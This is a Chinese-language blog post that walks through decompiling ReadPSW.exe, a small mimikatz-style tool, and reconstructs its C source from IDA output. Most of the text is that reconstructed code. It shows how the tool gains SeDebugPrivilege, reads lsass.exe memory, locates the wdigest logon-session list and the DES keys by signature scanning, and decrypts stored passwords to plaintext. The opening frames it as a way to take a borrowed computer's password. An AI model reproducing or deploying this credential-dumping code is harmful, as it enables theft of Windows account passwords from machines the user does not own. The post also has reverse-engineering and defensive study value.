mimikatz可谓获取windows明文密码神器，新版本更是加上了64位支持。用过一个小型获取明文密码程序，只有一个可执行文件ReadPSW.exe，通过逆向写出了源代码，稍微改改可能也可以支持64位。分享一下逆向过程和工作原理。

了解mimikatz

只要借用一下电脑，便可轻松拿到密码……“女神，借用电脑一看可否?”

大神们都知道的东西吧，渗透测试常用工具。法国一个牛B的人写的轻量级调试器，可以帮助安全测试人员抓取Windows密码。

mimikatz 最近发布了它的2.0版本，抓密码命令更加简单了，估计作者也看到了对它这个神器最多的研究就是直接抓密码，为神马不发布一个直接一键版，哈哈哈哈哈。新功能还包括能够通过获取的kerberos登录凭据，绕过支持RestrictedAdmin模式的win8或win2012svr的远程终端(RDP) 的登陆认证。建议默认禁止RestrictedAdmin模式登录。更多内容点我

逆向过程

我喜欢先用IDA看大致流程，遇到难以静态看出来的函数再用OD或者windbg。IDA F5 main函数，一段一段的看。

int __cdecl main_0()

{

int hdll; // eax@15

HMODULE ModuleSecur32; // eax@15

int LsaEnumerateLogonSessions; // eax@15

int LsaGetLogonSessionData; // eax@15

int LsaFreeReturnBuffer; // eax@15

int bcrypt; // eax@27

int hbcrypt; // eax@27

int bcryptprimitives; // eax@27

int hbcryptprimitives; // eax@27

int status7; // eax@27

const void *Base; // [sp+7Ch] [bp-2E0h]@25

SIZE_T nSize; // [sp+80h] [bp-2DCh]@25

int pLsaFreeReturnBuffer; // [sp+88h] [bp-2D4h]@15

int pLsaGetLogonSessionData; // [sp+8Ch] [bp-2D0h]@15

int pLsaEnumerateLogonSessions; // [sp+90h] [bp-2CCh]@15

HMODULE Secur32; // [sp+94h] [bp-2C8h]@15

LPCVOID l_LogSessList; // [sp+98h] [bp-2C4h]@15

int LsaUnprotectMemory; // [sp+9Ch] [bp-2C0h]@15

struct _OSVERSIONINFOA VersionInformation; // [sp+A8h] [bp-2B4h]@5

HANDLE Lsass; // [sp+13Ch] [bp-220h]@3

LPCVOID List[128]; // [sp+140h] [bp-21Ch]@18

LPCVOID *First; // [sp+340h] [bp-1Ch]@20

int LogonSessionNow; // [sp+344h] [bp-18h]@18

int ListEntry; // [sp+348h] [bp-14h]@15

SIZE_T NumberOfBytesRead; // [sp+34Ch] [bp-10h]@18

int hDllLsasrv; // [sp+358h] [bp-4h]@15

变量名大多是修改过的，通过分析子函数的功能做相应的改变，看起来方便一些。

memset(&tt, -858993460, 0x320u);

if ( EnableDebugPrivilege() != 1 )

printf("EnableDebugPrivilege fail !");

首先提权，比较简单：

pToken = &TokenHandle;

dwAccess = TOKEN_ALL_ACCESS;

ProcessHandle = GetCurrentProcess();

retProcessHandle = _chkesp(&dwAccess == &dwAccess, ProcessHandle, &dwAccess);

status = OpenProcessToken(retProcessHandle, dwAccess, pToken);

status1 = LookupPrivilegeValueA(0, "SeDebugPrivilege", &Luid);

NewState.PrivilegeCount = 1;

NewState.Privileges[0].Luid.LowPart = Luid.LowPart;

NewState.Privileges[0].Luid.HighPart = Luid.HighPart;

NewState.Privileges[0].Attributes = 2;

status2 = AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);

接着main函数流程：

Lsass = GetProcessHandle("lsass.exe");

if ( Lsass )

{

offset_one = 0;

offset_two = -1;

memset(&VersionInformation, 0, 0x94u);

VersionInformation.dwOSVersionInfoSize = 148;

status = GetVersionExA(&VersionInformation);

_chkesp(&t == &t, status, &v48);

if ( VersionInformation.dwMajorVersion == 5 )

{

if ( VersionInformation.dwMinorVersion == 1 )

{

offset_one = 36;

offset_two = 2;

}

else

{

if ( VersionInformation.dwMinorVersion == 2 )

{

offset_one = 28;

offset_two = 4;

}

}

}

else

{

if ( VersionInformation.dwMajorVersion == 6 )

{

offset_one = 32;

offset_two = 1;

}

}

if ( offset_two == -1 )

{

status12 = CloseHandle(Lsass);

_chkesp(&t == &t, status12, &v48);

returned = 0;

}

上面工作主要是：获取lsass.exe进程句柄、根据不同版本赋值两个偏移量。可以看出支持xp和2003，之后版本vista、win7等使用同一偏移量。

else

{

hdll = LoadLibraryA("lsasrv.dll");

hDllLsasrv = _chkesp(&t == &t, hdll, &v48);

LsaUnprotectMemory = GetFunctionAddr(hDllLsasrv, 0x7FFFDDDDu, db_8b_ff, 14u);

这个GetFunctionAddr是我重命名的，跟进去看一下实现就知道了：

int __cdecl GetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length)

{

return RealGetFunctionAddr(Module, Limit, Symbol, Length);

}

是一个跳转，接着跟进：

int __cdecl RealGetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length)

{

while ( Length + Module <= Limit )

{

label = Symbol;

for ( i = 0; i < Length && *Module == *label; ++i )

{

++Module;

++label;

}

if ( i == Length )

break;

ModuleModule = Module - i + 1;

}

return result;

}

是用特征码查找函数地址的，想知道是什么函数最好用windbg跟一下，发现找到了lsasrv.dll的LsaUnprotectMemory 函数，这里我也对变量名进行了重命名。该函数用于解密LsaProtectMemory加密内存，这两个函数在LSA中用得非常多。

l_LogSessList = GetWdigestl_LogSessList();

DesKey(Lsass, hDllLsasrv, offset_two);

这两个函数挺关键，需要结合OD动态调试，先看第一个，中间有个类似上面的跳转，直接看实现函数：

unsigned int __cdecl RealGetFunction()

{

HMODULE hModule; // eax@1

unsigned int moduleBase; // [sp+4Ch] [bp-10h]@1

unsigned int returned; // [sp+50h] [bp-Ch]@1

int SpInstanceInit; // [sp+54h] [bp-8h]@1

HMODULE hLibModule; // [sp+58h] [bp-4h]@1

memset(&v6, -858993460, 0x50u);

t1 = LoadLibraryA("wdigest.dll");

hModule = _chkesp(&v5 == &v5, t1, &v11);

hLibModule = hModule;

v2 = GetProcAddress(hModule, "SpInstanceInit");

SpInstanceInit = _chkesp(&v5 == &v5, v2, &v11);

moduleBase = hLibModule;

returned = 0;

while ( moduleBase < SpInstanceInit && moduleBase )

{

returned = moduleBase;

moduleBase = GetFunctionAddr(moduleBase + 8, SpInstanceInit, db_8b_45, 8u);

}

returned = *(returned - 4);

status = FreeLibrary(hLibModule);

_chkesp(&v5 == &v5, status, &v11);

return returned;

首先加载wdigest.dll模块，这里有详细的介绍。然后获取SpInstanceInit的地址，接着是一个查找函数的循环，根据特征码在SpInstanceInit地址低位查找某个地址，使用windbg可以看到要找的东西：

0:000> ln eax

(742ec29c) +0xc29c

这并不是一个函数，具体的作用现在还不知道。后面会用到。

看下面的函数，这个函数实际上是用来产生DES的密钥：

const void *__cdecl make_DESKey(HANDLE hProcessLsass, int hDllLsasrv, int offset)

{

int status; // eax@1

const void *dwResult; // eax@1

int Key; // eax@4

char buffer; // [sp+Ch] [bp-68h]@1

int OSVersion; // [sp+4Ch] [bp-28h]@1

unsigned int HeapReverse; // [sp+50h] [bp-24h]@1

const void *Buffer; // [sp+54h] [bp-20h]@4

LPCVOID g_pDESXKey; // [sp+58h] [bp-1Ch]@4

LPCVOID lpBuffer; // [sp+5Ch] [bp-18h]@1

SIZE_T NumberOfBytesRead; // [sp+60h] [bp-14h]@1

SIZE_T nSize; // [sp+64h] [bp-10h]@1

int pImageNtHeaders; // [sp+68h] [bp-Ch]@1

int hTmpDllLsasrv; // [sp+6Ch] [bp-8h]@1

int DataSECTION; // [sp+70h] [bp-4h]@1

int v27; // [sp+74h] [bp+0h]@1

memset(&buffer, -858993460, 0x68u);

hTmpDllLsasrv = hDllLsasrv;

DataSECTION = *(hDllLsasrv + 60) + hDllLsasrv + 288;

lpBuffer = (hDllLsasrv + *(DataSECTION + 12)); // 获取lsasrv.dll的数据区

nSize = ((*(DataSECTION + 8) >> 12) + 1) << 12; // 数据区大小

status = ReadProcessMemory(hProcessLsass, lpBuffer, lpBuffer, nSize, &NumberOfBytesRead); //读取数据区内容

_chkesp(&v15 == &v15, status, &v27);

pImageNtHeaders = hDllLsasrv + *(hTmpDllLsasrv + 60);

HeapReverse = hDllLsasrv + *(pImageNtHeaders + 80);

dwResult = offset;

OSVersion = offset;

if ( offset == 1 )

{

v8 = LoadLibraryA("bcrypt.dll");

_chkesp(&v15 == &v15, v8, &v27);

v9 = LoadLibraryA("bcryptprimitives.dll");

_chkesp(&v15 == &v15, v9, &v27);

v10 = GetFunctionAddr(hDllLsasrv, HeapReverse, "3仪E鑌b", 0xCu); //根据特征码查找存放DES_KEY的地址

g_pDESXKey = v10;

g_pDESXKey = *(v10 - 1);

v11 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead);

_chkesp(&v15 == &v15, v11, &v27);

v12 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead); // 通过两次内存查找找到KEY

_chkesp(&v15 == &v15, v12, &v27);

lpBuffer = g_pDESXKey;

*g_pDESXKey = &t_Key;

v13 = ReadProcessMemory(hProcessLsass, lpBaseAddress, &unk_42BFB8, 0x200u, &NumberOfBytesRead);

_chkesp(&v15 == &v15, v13, &v27);

lpBuffer = &lpBaseAddress;

lpBaseAddress = &unk_42BFB8;

v14 = ReadProcessMemory(hProcessLsass, dword_42AFC4, &unk_42ADB8, 0x200u, &NumberOfBytesRead);

dwResult = _chkesp(&v15 == &v15, v14, &v27);

dword_42AFC4 = &unk_42ADB8;

}

else

{

if ( OSVersion == 2 || OSVersion == 4 )

{

Key = GetFunctionAddr(hDllLsasrv, HeapReverse, Key_Symbol, 0xCu);

g_pDESXKey = Key;

g_pDESXKey = *(Key + 12);

v6 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead);

_chkesp(&v15 == &v15, v6, &v27);

v7 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead);

_chkesp(&v15 == &v15, v7, &v27);

dwResult = g_pDESXKey;

lpBuffer = g_pDESXKey;

*g_pDESXKey = &t_Key;

}

}

return dwResult;

}

根据最初得到的偏移，读取进程地址空间，获取DES的密钥。了解了这两个函数内容接着回归main函数：

status13 = LoadLibraryA("Secur32.dll");

ModuleSecur32 = _chkesp(&t == &t, status13, &v48);

Secur32 = ModuleSecur32;

LsaEnumerateLogonSessions = GetProcAddress(ModuleSecur32, "LsaEnumerateLogonSessions");

pLsaEnumerateLogonSessions = _chkesp(&t == &t, LsaEnumerateLogonSessions, &v48);

LsaGetLogonSessionData = GetProcAddress(Secur32, "LsaGetLogonSessionData");

pLsaGetLogonSessionData = _chkesp(&t == &t, LsaGetLogonSessionData, &v48);

LsaFreeReturnBuffer = GetProcAddress(Secur32, "LsaFreeReturnBuffer");

pLsaFreeReturnBuffer = _chkesp(&t == &t, LsaFreeReturnBuffer, &v48);

us1 = (pLsaEnumerateLogonSessions)(&count, &ListEntry);

加载secur32.dll，然后获取几个函数的地址，枚举登陆会话和获取登陆会话数据。接着调用LsaEnumerateLogonSessions得到当前登录的会话个数以及所有会话组成的列表。MSDN上说明了这个函数，会返回会话的LUID。

_chkesp(&t == &t, status1, &v48);

for ( i = 0; i < count; ++i )

{

LogonSessionNow = ListEntry + 8 * i;// 根据这里可以知道

output_name_session(pLsaGetLogonSessionData, pLsaFreeReturnBuffer, ListEntry + 8 * i); // 这里输出登陆用户名

进入output_name_session看看：

int __cdecl output_name_session_real(int (__stdcall *pLsaGetLogonSessionData)(_DWORD, _DWORD), int (__stdcall *pLsaFreeReturnBuffer)(_DWORD), int LogonSessionNow)

{

int status; // eax@1

int status1; // eax@1

char v6; // [sp+0h] [bp-50h]@1

char v7; // [sp+Ch] [bp-44h]@1

int LogonSessionData; // [sp+4Ch] [bp-4h]@1

int v9; // [sp+50h] [bp+0h]@1

memset(&v7, -858993460, 0x44u);

status = pLsaGetLogonSessionData(LogonSessionNow, &LogonSessionData);

_chkesp(&v6 == &v6, status, &v9);

printf("UserName: %S ", *(LogonSessionData + 16));

printf("LogonDomain: %S ", *(LogonSessionData + 24));

status1 = pLsaFreeReturnBuffer(LogonSessionData);

return _chkesp(&v6 == &v6, status1, &v9);

}

这里用了之前查找的LsaGetLogonSessionData和LsaFreeReturnBuffer，输出登陆名和域名。

status3 = ReadProcessMemory(Lsass, l_LogSessList, List, 0x100u, &NumberOfBytesRead); // 这里读取之前获取的那个不明地址内容到List

_chkesp(&t == &t, status3, &v48);

while ( List[0] != l_LogSessList )

{

status4 = ReadProcessMemory(Lsass, List[0], List, 0x100u, &NumberOfBytesRead);

_chkesp(&t == &t, status4, &v48);

First = &List[4];

if ( List[4] == *LogonSessionNow )

{

if ( First[1] == *(LogonSessionNow + 4) ) // 这个First[1]看着太别扭了，实际上就是比较List[4]和枚举到的会话LUID值

break;// 这里可以知道之前那个不明地址<Unloaded_wdigest.dll>+0xc29c是个列表

}

}

if ( List[0] == l_LogSessList )

{

printf("Specific LUID NOT found ");

}

else

{

nSize = 0;

v28 = (offset_one + First);

nSize = *(offset_one + First + 2);

Base = *(offset_one + First + 4); // 还是使用了First，不要忘记First是从当时那个不明地址处读取的值

memset(Buffer2, 0, 0x100u);

status2 = ReadProcessMemory(Lsass, Base, Buffer2, nSize, &NumberOfBytesRead);

_chkesp(&t == &t, status2, &v47);// 这里读到加密之后的密码。整个流程就清楚了，使用LsaEnumerateSessions获取LUIDs，与之前通过特征码找到的l_LogSessList结合找出密码。l_LogSessList保存了密码的长度和存放地址以及会话LUID，是个重要的未公开结构体。

status5 = (LsaUnprotectMemory)(Buffer2, nSize);

_chkesp(&t == &t, status5, &v47);

printf("password: %S ", Buffer2);

}

后面是一些释放dll和内存的工作，不再赘述。程序和IDA数据库右键图片可以得到。